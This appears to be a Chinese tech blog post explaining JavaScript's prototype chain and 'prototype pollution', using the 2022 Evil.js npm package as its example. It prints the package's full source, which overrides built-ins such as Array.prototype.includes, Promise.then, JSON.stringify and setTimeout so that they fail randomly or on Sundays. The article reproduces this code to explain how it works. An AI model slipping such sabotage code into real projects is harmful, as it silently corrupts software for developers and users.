专栏名称: 程序员鱼皮
鹅厂全栈开发,持续分享编程技法和实用项目
目录
相关文章推荐
百姓关注  ·  快来应战!黔山秀水藏谜趣,DeepSeek来 ... ·  昨天  
百姓关注  ·  港真超有趣|很“city”! ... ·  昨天  
贵州日报  ·  徐麟在贵安新区调研 ·  2 天前  
贵州日报  ·  贵阳这条路段违停现象,为何难治理? ·  2 天前  
51好读  ›  专栏  ›  程序员鱼皮

遭了!公司的前端代码被投毒了

程序员鱼皮  · 公众号  ·  · 2024-06-19 13:32

正文

不知大家是否还记得两年前 Github 出现的一个名为 Evil.js 的项目,其号称专治 996 公司,实际就是给前端项目“ 投毒 ”。本文就来聊一聊这个项目背后的故事: 原型污染
原型污染是一种很少被关注但潜在风险严重的安全漏洞,它影响基于原型的编程语言,例如 JavaScript。这种漏洞 通过篡改对象的原型链,从而影响所有基于该原型的对象

基于原型的编程范式

在深入探讨原型污染之前,先来回顾一下 JavaScript基于原型的编程范式。

JavaScript 的原型机制是其面向对象编程模型的核心,它允许对象通过原型链来继承属性和方法。在 JavaScript 中,每个对象都有一个与之关联的原型对象,当试图访问一个对象的属性或方法时,如果该对象本身没有该属性,JavaScript 就会查找该对象的原型对象,看原型对象是否有这个属性。这个过程会一直持续到原型链的末端,即 Object.prototype

构造函数是用于创建和初始化新对象的特殊函数。当使用 new 关键字调用构造函数时,会创建一个新对象,并将该对象的原型设置为构造函数的 prototype 属性所指向的对象。每个函数都有一个 prototype 属性,这个属性是一个对象,包含了可以由特定类型的所有实例共享的属性和方法。

在 ES6 之前,通常使用非标准的 __proto__ 属性来访问或修改一个对象的原型(尽管许多浏览器都支持它,但它不是 ECMAScript 标准的一部分)。然而,更推荐的做法是使用 Object.getPrototypeOf() Object.setPrototypeOf() 方法来访问和修改对象的原型。

虽然 ES6 引入了 class extends 关键字,这两个关键字提供了一种更接近于传统类继承的语法糖,但实际上它们仍然是基于原型链的。

下面来看一个栗子:

// 定义一个构造函数  
function Car(brand, color) {
this.brand = brand;
this.color = color;
}

// 在 Car 的原型上添加一个方法
Car.prototype.drive = function() {
return "The " + this.brand + " " + this.color + " car is driving away.";
};

// 创建一个 Car 的实例
let redCar = new Car("BMW", "red");

// 访问实例的属性
console.log(redCar.brand); // 输出 "BMW"
console.log(redCar.color); // 输出 "red"

// 调用实例继承自原型的方法
console.log(redCar.drive()); // 输出 "The BMW red car is driving away."

// 创建一个继承自 Car 的新构造函数
function ElectricCar(brand, color, batteryRange) {
// 调用 Car 的构造函数,继承其属性
Car.call(this, brand, color);
this.batteryRange = batteryRange;
}

// 设置 ElectricCar 的原型为 Car 的实例,从而继承 Car 的方法
ElectricCar.prototype = Object.create(Car.prototype);
ElectricCar.prototype.constructor = ElectricCar;

// 添加 ElectricCar 特有的方法
ElectricCar.prototype.recharge = function() {
return "The " + this.brand + " is recharging.";
};

// 创建一个 ElectricCar 的实例
let tesla = new ElectricCar("Tesla", "blue", 300);

// 访问继承的属性和方法
console.log(tesla.brand); // 输出 "Tesla"
console.log(tesla.drive()); // 输出 "The Tesla blue car is driving away."

// 访问 ElectricCar 特有的方法
console.log(tesla.recharge()); // 输出 "The Tesla is recharging."

在这个例子中定义了一个 Car 构造函数和一个 ElectricCar 构造函数。 ElectricCar 通过将其原型设置为 Car 的一个实例来继承 Car 的属性和方法。我们还为 ElectricCar 添加了一个特有的方法 recharge 。这样, ElectricCar 的实例 tesla 就可以访问继承自 Car 的属性和方法,以及 ElectricCar 特有的方法。

原型污染

原型污染发生在攻击者能够修改 JavaScript 对象原型时。由于JavaScript的原型链机制,如果攻击者能够操纵或覆盖某些原型对象的属性或方法,那么这种修改将会影响到所有继承自该原型的对象。这可能导致应用的行为异常,甚至被攻击者利用来执行恶意代码或窃取敏感数据。

原型污染通常发生在以下情况:

  • 应用没有正确验证或过滤用户输入,导致恶意代码被插入到对象的原型中。

  • 使用了不安全的第三方库或框架,这些库或框架可能允许原型被意外修改。

下面来了解两个原型污染的实际例子。

Evil.js

2022年某一天,好多前端群都在疯传一个名为 Evil.js 的开源项目,看了一眼,好家伙,不简单啊:

由于这个库传播比较广泛,作者紧急删除了发布在 npm 的包,并发布了声明(保命):

声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。

故事到这里就结束了。那作者是怎么实现的呢?了解原型的小伙伴第一个想到的应该就是作者修改了这些 JavaScript 内置对象的原型。为了验证想法,我们来看看源码:

(global => {
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
*/
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};

/**
* Array.map will always be missing the last element on Sundays
* @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this , ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

/**
* Array.fillter has 10% chance to lose the final element
* @zh Array.filter的结果有2%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

/**
* setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发
*/
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}

/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%几率不会注册
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}

/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}

/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}

/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
})((0, eval('this')));

果然,只要原本是在原型上定义的方法,修改方式都是修改原型。那么,只要这段代码安装/插入到前端项目中,就会污染部分 JavaScript 的原型,那么在使用这些原型上的方法时,就会有一定概率出现上面所说的异常情况,这就是原型污染。







请到「今天看啥」查看全文